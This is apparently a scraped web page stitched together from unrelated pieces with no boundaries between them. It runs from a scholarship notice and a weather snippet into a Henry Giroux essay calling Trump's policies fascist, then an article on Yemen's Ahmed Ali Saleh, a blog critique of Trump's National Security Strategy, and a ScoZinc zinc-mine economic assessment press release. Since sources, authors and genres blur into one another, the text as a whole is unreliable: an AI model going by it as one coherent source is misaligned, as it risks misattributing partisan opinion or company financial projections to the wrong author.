For additional information on applying for next years scholarship, please visit the Gilman Scholarship website or contact the International Office at (309) 556-2770.

By Vi Kakares '20
Summerville, SC (29483)

Today

Some clouds this evening will give way to mainly clear skies overnight. Low 32F. Winds light and variable..

Tonight

Some clouds this evening will give way to mainly clear skies overnight. Low 32F. Winds light and variable.
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By Henry Giroux | (The Conversation) |  

Fascism is all too often relegated to the history books.

The word conjures up a period in which civilized societies treated democracy with contempt, engaged in acts of systemic violence, practised extermination and elimination, supported an apocalyptic populism, suppressed dissent, promoted a hyper-nationalism, displayed contempt for women, embraced militarism as an absolute ideal and insisted on obedience to a self-proclaimed prophet.

But the seeds that produced such fascist horrors have once again sprung to life, returning in new social and political forms.

Today, a culture of fear dominates American society, one marked by massive inequities in wealth and power that not only uphold structures of domination, but also view differences as threats, compassion as weakness and shared responsibilities if not the common good itself  as pathology.

Fascist thought is on the rise all over the world, but its most blatant and dangerous manifestation has emerged in the Trump administration.

Fear and the ethos of mass consumerism coupled with widespread insecurity and ignorance now drive people into a malignant notion of security, self-inflicted cynicism and into the arms of demagogues like Trump. For too many Americans, critical thinking and hope have given way to emotional bonding and the revival of the discourse of ultra-nationalism and bigotry.

Trump: Not Hitler, but dangerous nonetheless

Trump is not Hitler in that he has not created concentration camps, shut down the critical media or rounded up dissidents; moreover, the United States at the current historical moment is not the Weimar Republic.

But in the Trump era, remnants of fascism exist in different shapes and forms and include a celebration of the cult of the leader, systemic racism, the embrace of a toxic macho-populism and state support for ultra-nationalism, racism and the threat of violence against critics.

All of these elements are evident in Trumps rhetoric and policy initiatives.

Trumps corporate brand of neoliberal fascism is highly visible in right-wing policies that favour deregulation, corporate power and the interests of the ultra-rich.

Instead of draining the corporate swamp, Trump has embraced the merging of corporate and political power, and in doing so has turned the state into a battering ram designed to serve the most powerful and wealthiest members of society.

Trumps mode of fascism is a unique product of our times, our commercial culture, and a corporate controlled media, all of which saps the foundations of a viable democracy.

American culture is advertising-saturated and celebrity-based, and has permitted a rich self-promoter to abandon any pretense of civility, accountability or integrity in order to hype, scam and market his way to power.

Call it Fascism, American-Style. Its returned in the shadow of neoliberalism, with its celebration of the market as the template for governing all of society and its concentration of economic and political power in relatively few hands.

Friendly with dictators

How else to explain Trumps unapologetic support and friendly attitude toward right-wing dictators such as the self-confessed killer, Rodrigo Duterte, president of the Philippines, Russias Vladimir Putin and Chinas Xi Jinping, all of whom have a fawning attraction to Trump given he exhibits little interest in their massive human rights violations.

Trumps fascism is also on full display in his ramping up of the police state, his relentless racist rhetoric, taunts and policies that cast Blacks, immigrants and Muslims as people unworthy of respect, compassion and dignity, and in his support for a war culture.

The latter is marked by his expansion of the U.S. military budget, his provocations aimed at North Korea and reckless policies such as recognizing Jerusalem the capital of Israel widely condemned by almost all world leaders  that destabilize the Middle East, Asia and other parts of the world.

But there are more subtle, if not under-examined, indicators that point to resurgence of fascist principles in the United States.

One of the most powerful is Trumps war on youth.

Finance capitalism now drives politics, governance and policy in unprecedented ways. And its more than willing to sacrifice the future of young people for short-term political and economic gains, if not democracy itself.

In an apparent war on children, the Trump administration provides a disturbing index of a society in the midst of a deep moral and political crisis  not the least of which was the presidents support and defence of an accused serial pedophile, Roy Moore, in his unsuccessful attempt to win an Alabama Senate seat.

Foreclosed hope

Too many young people today live in an era of foreclosed hope, an era in which it is difficult either to imagine a life beyond the tenets of a savage form of casino capitalism or to transcend the fear that any attempt to do so can only result in a more dreadful nightmare.

Youth today are not only plagued by the fragility and uncertainty of the present, they are, as the late Polish philosopher Zygmunt Bauman has argued, the first post-war generation facing the prospect of downward mobility [in which the] plight of the outcast stretches to embrace a generation as a whole.

American youth, especially those marginalized by race and class, are subject to the dictates of the punishing state. Not only is their behaviour being criminalized in schools and on the streets, they are also subject to repressive forms of legislation.

Several states are sponsoring legislation that would make perfectly legal forms of protest a crime that carries a huge fine, or subjects young people to possible felony charges? Increasingly, young people are viewed as a public disorder, a dream now turned into a nightmare.

The most recent example is evident in budget and tax reform bills that shift millions of dollars away from social programs vital to the health of poor youth to the pockets of the ultra-rich, who hardly need tax deductions.

As U.S. childrens rights activist Marian Wright Edelman points out, such actions are particularly alarming and cruel at a time when millions of Americas children today are suffering from hunger, homelessness and hopelessness.

She adds: Nearly 13.2 million children are poor  almost one in five. About 70 per cent of them are children of colour, who will be a majority of our children by 2020. More than 1.2 million are homeless. About 14.8 million children struggle against hunger in food insecure households.

Cruel mindset

The Trump administration is more than willing to pass massive tax cuts for the rich while at the same time refusing to fund the Childrens Health Insurance Program, which supports over nine million children.

Republican Senator Chuck Grassley, meantime, has argued that tax cuts shouldnt benefit the poor because they will just waste the money on booze and women.

So if youre not rich, its because youre lazy. Really? Tell that to the 10,000 people, some of them children, who may die each year as a result of losing their health insurance due to the proposed Senate tax bill.

Such a mindset, and statements like Grassleys, are more than cruel, they represent a political and economic system that has abandoned any sense of moral and social responsibility.

In this view, children are undeserving of aid because offering such government support flies in the face of a ruthless neoliberal ideology that insists that the only responsibility of government is to aid the rich and powerful corporations.

If the poor are suffering and subject to harsh conditions, according to Grassleys logic, it is because of a lack of character.

Another under-analyzed example of Trumps war on youth can be seen his cancellation of the DACA program (Deferred Action for Childhood Arrivals), instituted in 2012 by former president Barack Obama.

Under the program, over 800,000 undocumented immigrants brought to the country as children or teens before 2007 were allowed to live, study and work in the United States without fear of deportation.

In revoking the program, Trump enacted a policy that is both cruel and racist, given that 78 per cent of DACA residents are from Mexico. These are the same immigrants Trump once labelled rapists, drug addicts and criminals.

Trumps contempt for the lives of young people, his support for a culture of cruelty and his appetite for destruction and civic catastrophe are more than a symptom of a society ruled almost exclusively by a market-driven survival of the fittest ethos.

Systemic derangement

It is about the systemic derangement of democracy and emergence of fascist politics that celebrates the toxic pleasures of the authoritarian state with no regard for its children.

Trump is the apostle of moral blindness and unchecked corruption, and he revels in a mode of governance that merges his never-ending theatrics of self-promotion with deeply authoritarian politics.

One of the most disturbing features of Trumps fascism is his disregard for the truth and his embrace of an infantilism that demonstrates, for young people, a lack of any viable sense of critical thought, agency and commitment to social and economic justice.

Whats more, Trump has unleashed a rancid populism and racist-fuelled ultra-nationalism that mimics older forms of fascism and creates a culture of cruelty that both disparages its children and cancels out a future that makes democracy possible for them  and therefore all of us.

At the same time, Trump has embraced a merging of corporate power and politics that is characteristic of all fascist regimes, and in doing so, he has shifted wealth and resources away from vital social programs for young people into the hands of the financial elite.

There is more at work here than regressive tax policies, there is also an attempt to disable the welfare state by eliminating its funding.

Domestic terrorism

One result is what might be called the unleashing of a form of domestic terrorism  terrorism practised in ones own country against ones own people in which young people are subject to state violence and relegated to forms of terminal exclusion, spheres of social abandonment and set adrift in a state of disorientation and despair.

Under this new resurgence of fascism, thinking is dangerous, public spheres that promote critical thought are considered pathological and youth are viewed as a threatening disoriented class, especially those marginalized by race, sexual orientation and class.

And so under Trump, the winds of fascism have accelerated into a hurricane and pose a haunting crisis for youth, the future and democracy itself.

That crisis of youth under the Trump regime is a political disaster of the first order and threatens every vital cultural and political ideal, principle, social formation and public sphere that makes a democracy possible. Its best illustrated by Trumps support for Moore, a homophobe, unabashed racist and an accused child predator, sexual harasser and sexual abuser.

Yes, fascism us making a comeback and is with us once again  yet Moores defeat in the deep-red state of Alabama to his Democratic challenger gives us reason to hope. Black voters, particularly black women, and young voters stood up to say no more.

Fascism requires those among us who value equity, fairness, justice and morality to defeat it. To stop fascism, it is crucial that we show that democracy is the only alternative, and that the grotesque elements of fascism will be challenged. Heres hoping Alabama is just the beginning of such a struggle.

Henry Giroux, Chaired professor for Scholarship in the Public Interest in the Department of English and Cultural Studies, McMaster University

This article was originally published on The Conversation. Read the original article.



Related video added by Juan Cole:

The Young Turks: THIS Is How Fascism Begins
When Yemen held parliamentary elections in 1997 Ahmed Ali Saleh, then aged 24, was a first-time candidate. Though new to politics, he won by a handsome margin  a victory that was no doubt helped by having his father, President Ali Abdullah Saleh, and many of the ruling partys elite as voters in the district that elected him.

The sons effortless entry into parliament left Yemenis in no doubt that this was the first step in a succession plan: the grooming of Ahmed Ali to inherit the presidency from his father had begun.

In 2012, though, the succession plan was thrown into disarray. Months of street protests forced President Saleh to step down and he was succeeded not by his son but by his deputy, Abd Rabbu Mansour Hadi.

Disgruntled at being driven out of office after almost 34 years in power, Saleh set about undermining Hadis presidency. In 2014, pro-Saleh forces helped Houthi rebels to seize the Yemeni capital, Sanaa, forcing Hadi and his government to flee. A Saudi-led military coalition then intervened to support Hadi and oppose the Houthi/Saleh forces.

While president, Saleh had fought a series of wars against the Houthis, so his decision, as ex-president, to collaborate with them marked a complete reversal of his previous stance. The Houthi-Saleh alliance lasted until the beginning of this month when Saleh again unexpectedly changed sides and attempted to drive the Houthis out of Sanaa.

If successful, that would have caused a major setback for the Houthis while also re-establishing Saleh as a key player in any post-war settlement. In the event, though, the ploy failed miserably and ended with Salehs death at the hands of the Houthis.

Ahmed Ali to the rescue?

With the ex-president gone, attention has switched to his eldest son. Now aged 45, and rarely photographed without his dictator-style dark glasses, Ahmed Ali has been described as a man with zero popularity and charisma who would not be recognised in Yemens streets unless with his motorcade. Regardless of that, theres talk of him stepping into his fathers shoes. He seems to want to, and last week Saudi media quoted him as saying I will lead the battle until the last Houthi is thrown out of Yemen.

The Saudis and their main coalition allies, the Emiratis, also appear eager to befriend him now. Last week the crown prince of Abu Dhabi, who had previously kept him under house arrest, visited him at home offering heartfelt condolences on the death of his father. A succession of other Emirati dignitaries paid their respects too.

This has led to suggestions that he is being drawn into the Saudi-led coalition against the Houthis. Whether that would be a good idea is another matter; anyone thinking of striking a deal with Ahmed Ali would be well advised to look closely at his career to date.

Educating Ahmed

Before entering parliament in 1997, Ahmed Ali had spent several years in the United States where, according to differing accounts, he graduated from the American University in Washington with a degree in management and economics or administrative sciences. Following that, he is said to have received a masters degree in military sciences from a Jordanian university. He also had a brief spell at Britains top military academy, Sandhurst, which according to stories circulating at the time did not go well.

These were apparently sufficient qualifications for a senior role in Yemens security apparatus and before long he was put in charge of efforts to crack down on kidnappings  a problem that had plagued the country for years.

After that, it took Ahmed Ali only a few years to reach the highest levels of the military. By 2004, he was head of the Republican Guard  the regimes core protection against internal threats  and also head of the Special Operations Forces. These were generally regarded as the best-trained and most privileged branches of the military.

Under his command, the Republican Guard prospered as never before and doubled in size from 10 brigades to 20, but that wasnt rally due to Ahmed Alis efforts. It was mainly the result of American aid.

How this came about is explained by Jean-Pierre Filiu in his book, From Deep State to Islamic State. American concerns about terrorism and, more specifically, terrorism emanating from Yemen created new opportunities that the regime was eager to exploit. Two months after the 9/11 attacks, President Saleh visited the White House, enthusiastically declaring his support for the Bush administrations war on terror. Filiu writes:

US advisers and advanced weaponry started pouring into Yemen, where suspects were rounded up by the thousands, sometimes deported, and most of the time brutalised. The Republican Guard was the main recipient of American largesse. Nobody seemed troubled in Washington that the spearhead of the counter-terrorism campaign was also the regimes praetorian guard, commanded by the son of the Yemeni ruler 

To a lesser extent, other security forces controlled by the presidents relatives shared in the bonanza too  and this, Filiu says, led to the Saleh family tightening their grip on an ever-expanding security apparatus.

In 2009, a military parade in Sanaa to mark the 19th anniversary of Yemens unification was the largest in the countrys history:

Yemens Republican Guard, headed by presidential son Ahmed Ali Abdullah Saleh, was well represented by 12,000 marching soldiers as well as armored vehicles, T-72 and T-55 tanks, artillery pieces and self-propelled anti-aircraft guns. Among the armored vehicles was the first public exhibition of Iraqi Light Armored Vehicles (ILAVs) provided by the United States.

But there was more to come. A year later, the Obama administration dramatically stepped up its annual military aid to Yemen from $67 million to $155 million.

One problem with this was that it became increasingly unclear whether the aid was actually being used to fight jihadist terrorism or for other purposes such as settling scores with the regimes political opponents or waging war on the Houthi rebels in the north.

The development of this family-run security network also created serious problems for the future. When Saleh eventually stepped down  very reluctantly  from the presidency it proved difficult to bring key parts of his security apparatus under state control.

The succession plan

In the late 1990s and early 2000s, President Saleh was not the only Arab leader trying to establish a family dynasty. Similar moves could be seen among the Mubarak family in Egypt and the Gadafi family in Libya, while in Syria the death of Hafez al-Assad in 2000 had led to his son inheriting the presidency. Arabs mockingly devised a new term for this by combining the Arabic words for republic and monarchy to form jumlukiyya which in English would be roughly equivalent to repub-archy.

That trend was especially unpopular in Yemen where republican sentiment was strong, accompanied by a widespread aversion to hereditary rule. Before merging with the north in 1990 the southern part of Yemen had spent 23 years governed by Marxists, while the north had overthrown its monarchy in 1962.

In 2004 the arrest of a journalist raised fears that the presidents son was beginning to acquire royal status  implying that the media would no longer be allowed to treat him as a normal citizen. Saeed Thabet, a correspondent for Quds Press Agency, was arrested by agents of the Political Security Organisation after writing about a rumoured attempt on Ahmad Alis life.

According to the story, Ahmad Ali had been shot and wounded by a military commander at Suwad Haziz camp, a few miles south of the capital, Sanaa. The military commander was in turn said to have been shot dead and Ahmad Ali (again, according to the story) was flown in a private jet to Jordan for treatment of his injuries.

The story may have been untrue but tales of armed quarrels were part of the normal news-and-rumour mill in Yemen. Whether true or false, they did not usually stir the Political Security Organisation into action. Angered at Ahmed Alis apparently special status, Yemeni journalists, lawyers and rights activists rallied to support Thabet.

Doubts about Ahmed Ali

In 2005, US ambassador Thomas Krajeski discussed the succession question in a secret diplomatic cable to the State Department. Ahmed Ali was the most obvious choice, he wrote, but there are considerable doubts as to his fitness for the job.

The heir apparent does not currently command the same respect as his father, Krajeski continued, adding that Ahmed Ali was not yet old enough to become president under the rules of the constitution, which specified a minimum age of 40.

Ahmed Ali is currently too young according to the constitution to hold the highest office. Saleh likely plans to use the next seven years to groom his son (a la Mubarak), make him increasingly visible, and place him in positions of higher responsibility so that he will be seen as an acceptable candidate in 2013  Faced with the absence of a viable alternative, Ahmed Ali might gain sufficient backing, but there is currently insufficient data to know if he would be able to navigate Yemens political complexities like his father, the Master Balancer. Reported feuding between the sons of Saleh and Sheikh al-Ahmar [Yemens most senior tribal leader] raise additional doubts as to whether the current power-sharing arrangement could be extended to the younger generation.

A couple of years later another US diplomatic cable expressed continuing belief that Ahmed Ali was being groomed as the next president but quoted Yemeni suggestions that he was too weak at this time to assume power and that regional military leaders were particularly uncomfortable with him as a successor.

Rivalry with Ali Muhsin

One potential obstacle to Ahmed Alis rise was Brigadier General Ali Muhsin al-Ahmar, commander of the First Armoured Division. Ali Muhsin (or Mohsen) hailed from the same village as the president and was often considered the second most powerful man in Yemen. His military command extended over a vast area of eastern and northern Yemen, and he was said to have more than half of the countrys military resources under his control. In a diplomatic cable, US ambassador Krajeski described Ali Muhsin as Salehs iron fist.

Krajeski added that Ali Muhsin had been a major beneficiary of diesel smuggling in recent years and appeared to have amassed a fortune in the smuggling of arms, food staples, and consumer products. The memo also described him as a close associate of Faris Manna, Yemens most notorious arms dealer.

On the religious front, Ali Muhsin had long-standing Salafi/Wahhabi connections. In the 1994 war, when the south attempted to secede, he enlisted Islamist support which helped to achieve a quick victory. He also had some kind of relationship with the Islamic Army of Aden-Abyan (linked to al-Qaeda) which kidnapped 16 western tourists in 1998. The kidnappers were expecting Ali Muhsin to help arrange the release of imprisoned Islamists in exchange for the tourists. Krajeski commented:

Ali Mohsens questionable dealings with terrorists and extremists  would make his accession [to the presidency] unwelcome to the US and others in the international community. He is known to have Salafi leanings and to support a more radical Islamic political agenda than Saleh. He has powerful Wahhabi supporters in Saudi Arabia and has reportedly aided the [kingdom] in establishing Wahhabi institutions in northern Yemen.

Ali Muhsins Saudi/Wahhabi connections, and his support for Wahhabi institutions in Yemen, also became a complicating factor in the Houthi rebellion. Saudi missionary activity in northern Yemen was one of the Houthis key grievances, since they viewed it as a threat to their own Zaidi religious tradition.

In a Yemeni version of Apres moi le deluge, President Salih sometimes exploited Ali Muhsins fearsome reputation as a way of discouraging his critics: if they removed him from office Ali Muhsin might succeed him. While its unclear whether Ali Muhsin had serious presidential ambitions  some say he was more interested in wielding power behind the scenes  theres no doubt that he and Ahmed Ali saw each other as rivals.

This rivalry became apparent during the Houthi wars (2004-2010) when both men were leading operations  separately  against the rebels. A report from the British thinktank Chatham House in 2008 said:

Rumours abound of rivalry between Ali Muhsin and President Salihs son Ahmed, whose Republican Guard has also deployed in Saada. Several Yemeni newspapers have claimed there is a proxy war between the two mens forces, under the cover of quashing the Houthis.

Relations deterioriated to such a point that during the last of the Houthi wars under Salehs presidency, someone connected with the regime tried to trick the Saudis into killing Ali Muhsin. The Saudi air force had joined the war and was bombing Houthi positions, based on targeting information provided from Yemen. One of the targets scheduled for an airstrike turned out to be the headquarters of Ali Muhsin, who was reportedly present at the time. Fortunately for him, the Saudi pilots realised something was wrong with their targeting instructions and aborted their mission.

Ali Muhsin abandons the regime

In January 2011 the Arab Spring protests spread to Yemen and by mid-March at least 30 demonstrators were reported to have been killed. Ali Muhsin formally abandoned the regime and announced his support for peaceful revolution, sending troops under his command to protect the crowds demanding Salehs resignation who had gathered in the capital. This brought an immediate response from Ahmed Ali. The Guardian reported:

Minutes after Ali Mohsens defection, tanks belonging to the republican guards, an elite force led by the presidents son Ahmed Ali, rolled into the streets of Sanaa, setting the stage for a standoff between defectors and loyalists. Republican Guard tanks took up a strategic location across the city at Salehs residence, the ministry of defence and at the central bank. Meanwhile, tanks of Ali Mohsens First Armoured Division took positions elsewhere in the city.

President Saleh remained defiant and it was not until February 2012 that he eventually stepped down and his deputy, Abd Rabbu Mansour Hadi, became temporary president for what was envisaged as a two-year transition period.

However, a major flaw in the GCC-brokered transition plan allowed Saleh to remain in Yemen and granted him immunity from prosecution. That created oppotunities for Saleh and his family to continue causing trouble, first by undermining Hadis attempts to establish control and later by helping the Houthis to overrun large parts of the country.

Hadis struggle for control

Despite Salehs resignation, his relatives maintained their grip on the security apparatus  including Ahmed Ali with his Republican Guard.

In April 2012, Hadi attempted to remove some of them, including the long-serving air force chief, General Mohamed Saleh al-Ahmar, who was the ex-presidents half-brother. Ahmar, however, was determined not to go quietly and Sanaa airport was briefly closed as a result of threats against civilian planes from the adjacent air base.

A few months later, Hadi turned his attention to Ahmed Ali and began chipping away at his power by transferring units from the Republican Guards to other commanders. In December 2012 Hadi went a step further, ordering Ahmed Ali to hand his forces long-range Scud missiles over to the defence ministry. Ahmed Ali refused and a stand-off ensued.

A week later, though, Hadi issued decrees abolishing the Republican Guard as well as Ali Muhsins First Armoured Division. Both were to be brought under control of the defence ministry. Meanwhile, Yahya Saleh, a nephew of the ex-president was removed from his post as chief of staff at Central Security.

Ahmed Ali, the ambassador

Ahmed Ali was eventually shunted off to the UAE as Yemens ambassador. Meanwhile his rival, Ali Muhsin, was named as an adviser to Hadi and has since been appointed vice-president in the exiled government.

Ahmed Alis ambassadorial career lasted only a couple of years. In March 2015, with the outbreak of full-scale war, Hadi dismissed him from his post and the UAE cancelled his diplomatic immunity.

The following month, the UN Security Council imposed sanctions on him. The announcement said:

Ahmed Ali Saleh has engaged in acts that threaten the peace, security, and stability of Yemen. Ahmed Ali Saleh has been working to undermine President Hadis authority, thwart Hadis attempts to reform the military, and hinder Yemens peaceful transition to democracy. Saleh played a key role in facilitating the Houthi military expansion. As of mid-February 2013, Ahmed Ali Saleh had issued thousands of new rifles to Republican Guard brigades and unidentified tribal shaykhs. The weapons were originally procured in 2010 and reserved to purchase the loyalties of the recipients for political gain at a later date. After Salehs father, former Republic of Yemen President Ali Abdullah Saleh, stepped down as President of Yemen in 2011, Ahmed Ali Saleh retained his post as commander of Yemens Republican Guard. A little over a year later, Saleh was dismissed by President Hadi but he retained significant influence within the Yemeni military, even after he was removed from command.

Ahmed Ali remained in the UAE under house arrest  though that has since been lifted.

The question now is whether the Saudi-Emirati coalition has a use for him. Aside from the continuing UN-imposed sanctions on him, his previous quarrels with Hadi and Ali Muhsin are not a good omen. Theres nothing to suggest either of them would be prepared to place their trust in him.

Its also unclear what Ahmed Ali might be in a position to contribute. He is not an inspirational leader and its far from certain that the ex-presidents remaining supporters in Yemen will rally around him. More broadly, the Yemeni public would be unlikely to welcome his return. And for the coalition, attempting to work with him could be far more trouble than its worth.
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Trumps National Security Strategy document is about as confused and wrongheaded piece of writing youd ever want to see.

It says,

Jihadist terrorist organizations present the most dangerous terrorist threat to the Nation.

This assertion is not true. The most dangerous threats to the United States are other states, especially the well armed ones. A few ragtag terrorists are dangerous, but they cant do the damage a state can.

After other states, the next biggest danger comes from white supremacists and Neo-Nazis.

H/t Vox

Now, the white supremacists and Neo-Nazis are the groups Trump has been promoting, whom he considers very fine people, and whose media he watches and cites. So in effect we have a terrorist president.

The document has a whole section called Defeat Jihadist Terrorists.

Theres a mistake right there. Muslims feel as though they are commanded to struggle for the faith, which is what jihad means. It is sort of like Timothy 6:12 in the New Testament: Fight the good fight (agonizou ton kalon agona) of the faith; take hold of the eternal life, to which you were called . . .

Jihad and the Greek agon are very similar. So that kind of good fight or struggle, jihad, is considered a virtue by Muslims. In the Quran, the word jihad does not carry a connotation of violence. You struggle by giving donations, e.g., or volunteering. It is a virtuous struggle and a struggle for virtue.

So you probably dont want to give 1.6 billion Muslims the notion that this good fight is anything to do with terrorism.

And what do you call the terrorism of Myanmar Buddhists against innocent Rohingya Muslims. Is that jihad too? Dont you need a universal word for terrorist activity?

Or what about the percentage of white nationalist terrorism that is religiously driven by Christianity? Is that jihadi also?

You call unprovoked violence on behalf of a religion Vigilantism. Thats what it is.

The document links what it calls jihadi terrorism to the desire for a caliphate or Muslim religious empire. But it goes on to complain about the Lebanese Hizbullah, a Shiite group that rejects a caliphate, since that is a Sunni notion. (Vanishingly few Sunnis nowadays want a caliph.)

The document calls for cooperation with allies. But Trump has assiduously insulted and alienated most of our allies in the world. He also has blabbed his mouth about operations in which Israel e.g. had a mole inside ISIL, revealing sources and methods. I dont think most countries are eager to cooperate under these circumstances.

The document makes no mention of the US-enabled Saudi bombing of Yemen. Washington is driving Yemenis into the arms of terrorists by participating in this sick and creepy campaign, with civilian targets accounting for as many as a third of air strikes. This is like Nazis buzz-bombing civilian London in WW II! Only this is our coalition doing it.

This document is just bluster and hot air, showing no sign of actually understanding the occasional terrorism that surfaces in the Muslim world or giving the slightest idea of knowing how to combat terrorists.

Not understanding that the main terrorist threat is from white Americans is the big error, which colors everything else in the report.

Trump is so incompetent and just plain wrong that his daily barrage of insults that pass for foreign policy are undoing all the valuable work done by American counter-terrorism officials.

-

Related video:

BBC: Is Donald Trump a danger to national security? BBC News
COOKS BROOK, NOVA SCOTIA--(Marketwired - Dec. 19, 2017) - ScoZinc Mining Ltd. (TSX VENTURE:SZM) ("ScoZinc" or the "Company") is pleased to announce the results of the independent updated Preliminary Economic Assessment (PEA) on its wholly-owned ScoZinc Zinc-Lead Mine in Nova Scotia, Canada. The 2017 PEA, completed by Stantec Consulting, includes a more detailed mine plan, contract mining obtained by bidding to major Nova Scotia contractors, updated capital cost, and updated milling and other operating costs. Compared to the 2013 report (filed on SEDAR on June 12, 2013), the significant change made was replacing Company owner-operator mining with contract mining. The 2017 NI 43-101 report shows improved robust economics for the restart of the permitted ScoZinc mine.

The highlights include:

After-Tax NPV (at 5%) CAD $141.2 M After-Tax NPV (at 8%) CAD $119.0 M After-Tax Internal Rate of Return 64.8% Pre-Tax NPV (at 5%) CAD $184.6 M Pre-Tax NPV (at 8%) CAD $155.3 M Pre-Tax Internal Rate of Return 69.9% Annual Average Earnings Before Interest, Taxes, Depreciation and

Amortization for life-of-mine CAD $36.4 M C1 Cash Cost per pound of zinc for life-of-mine (after credits for lead) USD $0.49 Total Cost of production per pound of zinc for life-of-mine (including

operating, capital and sustaining costs after credits for lead) USD $0.61 Payback of capital 1.9 years Mill Processing Rate (tonnes per day) 2,600 Total operating cost per tonne milled for the life-of-mine CAD $56.02 Total cost per tonne mined (all materials) CAD $3.14 Restart Capital $31.1 M Zinc Price USD $1.25 Lead Price USD $1.05 Exchange Rate (CAD to USD) 0.81

The full text of the report, to National Instrument 43-101 standards, will be filed for review on www.sedar.com in January 2018.

Refined Mine Plan and Capital and Operating Costs

The updated PEA, completed by Stantec Consulting, included the sequential development of two open pit operations on the Main and Northeast deposits based on a detailed monthly restart plan and production schedule for the first two years then quarterly for the subsequent two years and yearly thereafter. The pits are in close proximity to the existing mill and a small underground operation to extract high grade mineralization between the two pits that will be blended with the open pit feed beginning in Year 5 of the operation.

The zinc-lead mill feed will be processed in the existing ScoZinc mill by standard flotation methods to produce clean, high-grade zinc and lead concentrates. The economic evaluation is based on a mineral resource inventory from production records and the updated mineral resource technical report dated August 24, 2012 (see SEDAR filing dated August 24, 2012).

The ScoZinc mill has undergone significant refurbishment and improvements since ScoZinc assumed ownership of the property in June 2011. ScoZinc has undertaken more than CAD $10 million in engineering, definition drilling, permitting, mill and mine infrastructure refurbishment and surface rights acquisition. An additional approximate CAD $31.1 million is required for refurbishment and modernization to increase the mill throughput to 2,600 tonnes per day, pre-stripping of waste material in the Main pit, other start-up costs, contingency and working capital.

The capital and operating costs included in the PEA were derived by recent (November 2017) mining and drill and blast contractor tenders, updated costs from equipment and consumables suppliers, conservative parameters from historical mill and production records, and escalated cost estimates from the 2013 economic study.

Metal Prices and Economic Sensitivity

Base Case metal prices for this PEA have been set to life-of-mine values of USD $1.25 per pound for zinc and USD $1.05 per pound for lead.

The following table illustrates the impact on the operational plan with variations in zinc and lead prices. As common in such sensitivity analysis, the base assumptions are unchanged as metal prices are adjusted.

Zinc/Lead

Price USD $/lb NPV Pre-Tax1 NPV After-Tax1 IRR % Payback

(Years) NPV 5% NPV 8% NPV 5% NPV 8% Pre-Tax After-Tax 0.95/0.75 35.4M 22.7M 15.0M 5.7M 15.9% 10.2% 6.5 1.05/0.85 85.1M 66.9M 57.1M 43.4M 32.1% 26.1% 4.4 1.15/0.95 134.8M 111.M 99.2M 81.2M 50.0% 44.2% 3.8 1.25/1.05 184.6M 155.3M 141.2M 119.0M 69.9% 64.8% 2.2 1.35/1.15 234.3M 199.5M 183.3M 156.8M 92.3% 87.9% 1.9 1.45/1.25 284.0M 243.6M 225.4M 194.6M 117.1% 113.7% 1.7

1 NPV in Canadian Dollars (CAD)

Mining

The detailed mine plan and production schedule for the first two years on the Main pit was done on a monthly basis at an average production rate of 853,000 tonnes per year (or 2,600 tonnes per day) into the mill over an average of 328 operating days per year. The average waste to mineralized material ratio for the life-of-mine open pits is 12.0 to 1 (including pre-stripping). Approximately 60% of the waste is expected to be removed without blasting, including soils that will be used for reclamation. Open pit mine dilution and mining losses are assumed to be 7.5% and 5%, respectively. In-pit diluted mineral resources are 6,552,000 tonnes grading 3.06% zinc and 1.57% lead.

The underground operation is based on Modified Cut and Fill mining with un-cemented backfill, producing 500 tonnes per day of high-grade mill feed. The operation requires a capital investment of about $11.6 million, assumed out of cash flow and most in Year 5 of the overall mining schedule, to develop the underground access to the high-grade zones. Diluted and recoverable underground mineral resources are estimated at 283,000 tonnes grading 6.96% zinc and 3.98% lead. This material will be blended with open pit and stockpile feed to the mill over approximately two years beginning in the second half of Year 5 of the life-of-mine plan.

Metallurgy

The restart plan provides for modifications to the mill, including redesign and replacement of the crushing circuit, primary screen, thickeners and concentrate filters. Some of this equipment is on site and ready for installation. These modifications, together with improved plant availability, will allow average mill feed rates of 853,000 tonnes per annum or 2,600 tonnes per day. The projected feed grades for the life-of-mine average 3.06% zinc and 1.57% lead. The projected metallurgical performance, based on historical data, provides for a zinc concentrate grade of 57.0% zinc at 86.0% life-of-mine recovery and a lead concentrate grade of 71% lead at 85.7% life-of-mine recovery.

Metallurgical testwork is underway to investigate the potential benefit of using a SAG mill for the relatively soft ore that will be fed to the processing plant. A used SAG mill has been located and is being investigated for suitability.

Concentrate Marketing and Transport

Based on historical concentrate sales, ScoZinc concentrates are expected to be readily marketable, grading 57% and 71% for zinc and lead respectively, with no penalties. Previous concentrate shipments from the ScoZinc mine were shipped to Europe and Asia. ScoZinc has its own storage and concentrate loading facility at Sheet Harbour, approximately 80 kilometers from the mine, with a capacity of 8,500 tonnes, or 1.5 times the expected shipment size.

Infrastructure

The mine has ample grid power and water supply. Paved roads lead to the mine property and there is nearby access to rail.

Environment, Community Relations, and Permitting

ScoZinc operations have enjoyed strong support from local communities and the Nova Scotia government. Permitting of the Main pit and Southwest Expansion Area remains in place with the granting of a 10-year renewal to ScoZinc's Industrial Approval and an extension to the Environmental Assessment Approval, both in September 2017. Existing permits will need to be amended to accommodate further expansion of the Main pit, the start-up of the Northeast pit and underground mining to achieve the approximate eight-year mine life projected in the PEA.

Staffing for the restart of operations will commence in early 2018. Senior personnel have been involved in the technical work to date and will assume crucial positions for the operation. The mine is expected to employ approximately 75 by ScoZinc and approximately 80 contractor personnel during full operations. The neighbouring communities provide a good source of skilled workers and many former employees remain interested in re-joining operations at ScoZinc.

Project Opportunities

The current mine plan and economic model do not include the Getty Deposit located west of the Southwest Expansion. Definition drilling of the near surface portion of the Northeast deposit is expected to convert Inferred mineral resources into Measured and Indicated categories similar to the results achieved in 2012 on the Main deposit. An expansion of Measured and Indicated in-pit mineral resources is expected to favourably impact transition from the Northeast deposit to the Getty deposit in the latter years of the current mine plan. Addition of the Getty deposit and expanded mineral resources is expected to add more than 3 years to the current mine life.

The significant mineral claim holdings in close proximity to ScoZinc operations and the potential for district scale distribution of mineralization, provides a long-term opportunity for the ScoZinc operation. Geophysical and geochemical surveys carried out on mineral claims from 2012 to 2016 have resulted in the identification of exploration targets with the potential to host economic mineralization

Qualified Persons

This news release has been reviewed and approved by Mr. Michael Romaniuk and Mr. Jason Baker of Stantec Consulting, the engineering company who prepared the Preliminary Economic Assessment.

About ScoZinc Mining Ltd.

ScoZinc is an established Canadian-based zinc and lead exploration and development company that owns the ScoZinc Mine near Halifax, Nova Scotia. The Company has a strong working capital position and no debt. The Company has 3,951,045 common shares outstanding which are traded on the TSX Venture Exchange under the symbol "SZM".
